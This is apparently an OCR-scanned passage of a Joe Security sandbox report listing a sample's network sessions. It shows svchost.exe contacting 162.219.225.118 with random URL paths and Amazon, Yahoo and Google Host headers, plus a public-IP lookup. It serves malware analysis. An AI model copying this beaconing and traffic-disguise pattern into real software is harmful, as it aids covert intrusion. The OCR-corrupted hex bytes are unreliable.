357078 2f323270 782061 7269 61 6¢ 2c 73 61 6e 73 2d 73 65

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP  Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /c2nytzC18hFezq36jarlp2H/59yohiltuuk6oUi2bdmah2qg/vd2Usd1lozgteagwbo2ut2gXr6Kbcix00/x7J0zsfCn6Xvj95r/
HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-09-28 07:53:52 UTC 928

2021-09-28 07:53:52 UTC 929

Session ID Source IP

25 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:53 UTC 930

2021-09-28 07:53:53 UTC 930

2021-09-28 07:53:53 UTC 930

Session ID Source IP

26 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:53 UTC 930

2021-09-28 07:53:53 UTC 931

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49919

Direction

ouT

Source Port
49921

Direction

ouT

Data

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:53:52 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: W3MY5QETX8KXGHWZ989X

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip"

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18 d0 00 7b 18 86 80 22 af 28 2e 14 ¢9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d 7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 fO df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d 5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+,Yt=I{"(.W]}n"u=Padn{]1+:"Ch[ *"kz<{VJZqQFb:i+:S6nVD_z%=| X$2[HbsLed=R<"<G*vOhu

Destination IP Destination Port Process

34.117.59.81 443 C:\Windows\System32\svchost.exe

Data

GET /raw HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: myexternalip.com

HTTP/1.1 200 OK
access-control-allow-origin: *
content-type: text/html; charset=utf-8
content-length: 11

date: Tue, 28 Sep 2021 07:53:53 GMT
X-envoy-upstream-service-time: 1

Via: 1.1 google

Alt-Svc: clear

Connection: close

Data Raw: 38 34 2e 31 37 2e 35 32 2e 33 39
Data Ascii: 84.17.52.39

Destination IP  Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /tkxfferfpm3thF8bGv79h6rt91Zd4v1f7nt258res8EsLaX/v5qW89nsymg94940I1laa33R7HRtN]/bz9ziqulo962gAesq
Ohmd1etV04uzu/3cF4laudz1gn53Rlal8nslt6g812/f54lw8nhDzyAzfuxigbg2yai24al55lghngsmh/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:53:53 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: HSFGOANVRKSM9CFZTRV3

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip"

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN
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kBytes
Timestamp transferred

2021-09-28 07:53:53 UTC 931

Session ID Source IP

27 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:54 UTC 932

2021-09-28 07:53:54 UTC 932

2021-09-28 07:53:54 UTC 933

Session ID Source IP

28 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:54 UTC 934

2021-09-28 07:53:54 UTC 934

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49922

Direction

ouT

Source Port
49923

Direction
ouT

Data

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18 d0 00 7b 18 86 80 22 af 28 2e 14 ¢9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 fO df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d 5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+,Yt=I{"(. W][}n"u=Pa9n{]1+: Ch[ *"kz<{VJIZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<"<G*jvOhu

Destination IP Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /DooRtnTOUXembqa0298jih9Y99ak7fe6ur/ax5xkkSYd3274mqEek1u2/W6nyojyCel81sZyJ844dqgc68aso/7aytusfbzn
0d2xue3fQnxos/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:53:54 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: PMVQIMYJACAJ26YZQCFW

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip”

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2¢ 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18.d0 00 7b 18 86 80 22 af 28 2e 14 ¢9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d 7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 fO df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 la ea 5f 7a f6 ¢5 9a 25 b7 3d f9 93 49
20 7 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa bl 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee la eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 2 68 75 bd

Data Ascii: UJo6+, Yt={"(.W]in"u=Padn{]1+: Ch[ *"kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<"<G*vOhu

Destination IP  Destination Port Process
87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /eTzWuluo4t9ooivcrPfepe/mfk8smtmi383pV1imgvtvwyMFadOMYjFI/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:53:54 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml*, CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBI IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

x-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 10

server: ATS

Content-Length: 680

Age: 0

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.0ath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=1an54qlgl5igi&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block
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kBytes
Timestamp transferred

2021-09-28 07:53:54 UTC 935

2021-09-28 07:53:54 UTC 936

Session ID Source IP

29 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:55 UTC 936

2021-09-28 07:53:55 UTC 937

2021-09-28 07:53:55 UTC 938

2021-09-28 07:53:55 UTC 938

Session ID Source IP

3 192.168.2.3

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49924

Direction

ouT

Source Port

49799

Data

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢ 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 2045 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 33 3a 35 34 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f
72 742d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
7263 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
7272 65 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:53:54 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6¢ 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
743e 0a 76 617220 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
65 72 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 65 54
7a 57 75 6¢ 75 6f 34 74 39 6f 6f 69 76 63 72 50 66 36 70 65 25 32 66 6d 66 6b 38 73 6d 74 6d 69 33 38 33 70 56 31 6d 67
76 74 76 76 79 4d 46 61 64 4f 4d 59 6a 46 6¢ 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74
6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 3e 43 6f 6e 74 65 6e 74 20 69 73 20 63 75 72
72 65 6e 74 6¢ 79 20 75 6e 61 76 61 69 6¢ 61 62 6¢C 65

Data Ascii: <html><meta charset="utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2{%2fww
w.yahoo.com%2feTzWuluo4t9ooivcrPf6pe%2fmfk8smtmi383pV1mgvtvwvyMFadOMY|FI%2f';if(window!=window.top){
document.write('<p>Content is currently unavailable

Destination IP Destination Port Process

87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /jxjvrx9b1Fkby3vtz096/rbfBnkttgvcZygw15n3i2c4rq88wg6jkij2srWio5p/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:53:55 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBIi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

x-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 8

server: ATS

Content-Length: 696

Age: 0

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.oath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=fOckpm5g|5igj&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢c 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 33 3a 35 35 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f
72742d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
7272 65 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:53:55 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6¢ 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 7363 72 69 70
74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
65 72 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 6a 78
6a 76 72 78 39 62 31 46 6b 62 79 33 76 74 7a 30 39 36 25 32 66 72 62 66 42 6e 6b 74 74 67 76 63 5a 79 67 77 31 35 6e
3369326334 727138387767 36 6a6b 69 6a32 737257 66 6f35 70 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77

21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b Oa 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 3e 43 6f 6e 74
65 6e 74 20 69 73 20 63 75 72 72 65 6e 74 6¢ 79 20 75 6e 61

Data Ascii: <html><meta charset="'utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fww
w.yahoo.com%?2fjxjvrx9b1Fkby3vtz096%2frbfBnkttgvcZygw15n3i2c4rq88wg6jkij2srWio5p%2f';if(window!=window.top){ d
ocument.write('<p>Content is currently una

Destination IP Destination Port Process

142.250.186.70 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe
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kBytes
Timestamp transferred

2021-09-28 07:52:42 UTC 12

2021-09-28 07:52:42 UTC 14

2021-09-28 07:52:42 UTC 14

2021-09-28 07:52:42 UTC 15

Session ID Source IP

30 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:55 UTC 939

2021-09-28 07:53:55 UTC 939

2021-09-28 07:53:55 UTC 939

Copyright Joe Security LLC 2021

Direction

ouT

Source Port
49925

Direction
ouT

Data

GET /favicon.ico?ad=300x250&ad_box_=1&adnet=1&showad=1&size=250x250 HTTP/1.1
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: ad.doubleclick.net

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Vary: Accept-Encoding

Content-Type: image/x-icon

Access-Control-Allow-Origin: *

Cross-Origin-Resource-Policy: cross-origin

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-doubleclick-media"

Report-To: {"group":"ads-doubleclick-media","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-
to/ads-doubleclick-media"}]}

Content-Length: 1078

Date: Mon, 27 Sep 2021 10:29:54 GMT

Expires: Tue, 28 Sep 2021 10:29:54 GMT

Last-Modified: Tue, 08 May 2012 13:08:06 GMT

X-Content-Type-Options: nosniff

Server: sffe

X-XSS-Protection: 0

Age: 76968

Cache-Control: public, max-age=86400

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 00 00 01 00 02 00 10 10 10 00 00 00 00 00 28 01 00 00 26 00 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 4e
01 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 04 00 00 00 00 00 cO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 ff f ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0011 111111 11111111111111
111111111111211112111111211121111122112111111211111212121111112111211111212111111111111
111111111111211111111112112111212122111111111212111121111111111112111112121111111111111
11111111111111111111112112111211111111111111111111

Data Ascii: (& N(

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 11 11 111111 11111111111111
11111111121111111211111121111112211211111211111211111122121111111111121111111111111111
11111111111111212111112121111212211212111112111221112112121112111121111122111121111111111111111
111111111111111121112111111111211111112211111121111122121111121111111111111111111111
111111112111111221212111112111111211111222211111121111121211121212111111111111111111111
1111111121111111221121111112111211121211211112212111111121112112111211121111111111111111111111
1111111112111111211111111211121211121112111111111111111211111

Data Ascii:

Destination IP  Destination Port Process
142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /ny27jAlIfVIgrtqtrH9b7ewok3E8f/qtsuvwxsbVaerY Qpréaws50WmcQ/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1617

Date: Tue, 28 Sep 2021 07:53:55 GMT

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
74612063 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2¢ 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
220 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e 0a 20 2
02020 2a7b6d61 726769 6e 3a303b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6 74 3a 31
357078 2f 323270 78 20 61 72 69 61 6¢ 2¢c 73 61 6e 73 2d 73 65

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
def{font:15px/22px arial,sans-se
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kBytes
Timestamp transferred

2021-09-28 07:53:55 UTC 940

Session ID Source IP

31 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:55 UTC 941

2021-09-28 07:53:56 UTC 941

2021-09-28 07:53:56 UTC 942

Session ID Source IP

32 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:57 UTC 943

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49932

Direction

ouT

Source Port
49935

Direction
ouT

Data

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6 67 6¢ 65 2e 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /Oiuwzt5jtaQjblntvBD34x94V1ez/eHtuwkg5a5xam9ddbw7V96jsatl/568ll09E5U8di66r6sy3rihuh6ioyuduFmxQo7
Y/jOopg6060x6YNO0i78uL9gXso/uZsg2Eotwg3eabbrf6qiYqsHek4grlilg26dn60i78ggbB4v/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:53:56 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: RA91D3WZS3ZGZYANDJR4

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

